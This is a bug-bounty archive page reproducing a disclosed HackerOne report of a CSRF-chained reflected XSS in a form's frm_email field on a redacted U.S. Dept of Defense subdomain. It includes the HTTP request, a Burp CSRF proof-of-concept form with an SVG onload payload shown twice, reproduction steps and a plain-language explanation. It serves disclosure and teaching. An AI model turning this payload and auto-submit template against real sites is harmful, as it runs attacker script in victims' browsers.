Skip to content
XSS Disclosed report Beginner

CSRF Based XSS @ https://██████████

A POST endpoint reflected unsanitised user input in the frm_email field, allowing an attacker to inject an SVG element with an onload handler. Because the request lacked CSRF protections, an attacker could host a form that auto-submits the payload and execute script in the victim's browser on the target domain.

nagli Follow

Originally disclosed on HackerOne

  • Disclosed after 3 months

Summary:

Good Afternoon Team,

I recently discovered subdomain https://██████████/█████████ from a POST Based XSS which when combined with CSRF allows for seemless XSS.

███

HTTP Request

POST /██████ HTTP/1.1
Host: █████████
Connection: close
Content-Length: 619
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://███████
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://█████/████
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,eu;q=0.7,he;q=0.6
Cookie:███████

██████████

Owing to the lack of CSRF Protections in the above request, it is trivial to chain CSRF -> XSS on this domain.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://███/████████" method="POST">
      <input type="hidden" name="action" value="F█████" />
      <input type="hidden" name="token" value="████████" />
      <input type="hidden" name="frm&#95;email" value="nagli&#64;wearehackerone&#46;com&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;document&#46;domain&#41;&gt;" />
      <input type="hidden" name="frm&#95;zip5" value="12121" />
      <input type="hidden" name="cmd&#95;submit" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

~ @naglinagli

Impact

Utilizing this an attacker could easily carry out the below XSS on *.██████████

System Host(s)

████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Set up the following HTML page

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://█████/████████" method="POST">
      <input type="hidden" name="action" value="F███████" />
      <input type="hidden" name="token" value="███████" />
      <input type="hidden" name="frm&#95;email" value="nagli&#64;wearehackerone&#46;com&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;document&#46;domain&#41;&gt;" />
      <input type="hidden" name="frm&#95;zip5" value="12121" />
      <input type="hidden" name="cmd&#95;submit" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

And click.

Suggested Mitigation/Remediation Actions

Sanitize the input being inserted into the frm_email field.

Btw, I think I reported this once and it was fixed, not sure why it reverted back.

The original report as published on HackerOne, by nagli. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application reflected the frm_email parameter into the response without output encoding, and the endpoint lacked CSRF tokens or origin checks.

Impact

An attacker could execute arbitrary script in the context of the target domain, potentially affecting users of that subdomain.

What the attacker needed

Victim visits attacker-controlled page; victim clicks the submit button

How it was found

  1. Create an HTML page containing a form that posts to the vulnerable endpoint.
  2. Include hidden fields with the action, token, frm_email payload, frm_zip5 and cmd_submit values.
  3. Open the page and click the submit button to send the request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website took text from a form field and put it directly into the page without cleaning it, so a malicious value could run code in the visitor's browser. The form also had no protection against other sites submitting it, so an attacker could make a victim's browser send the bad value automatically. Together this lets an attacker run their own script as if it came from the trusted site.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by nagli

View all

33 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.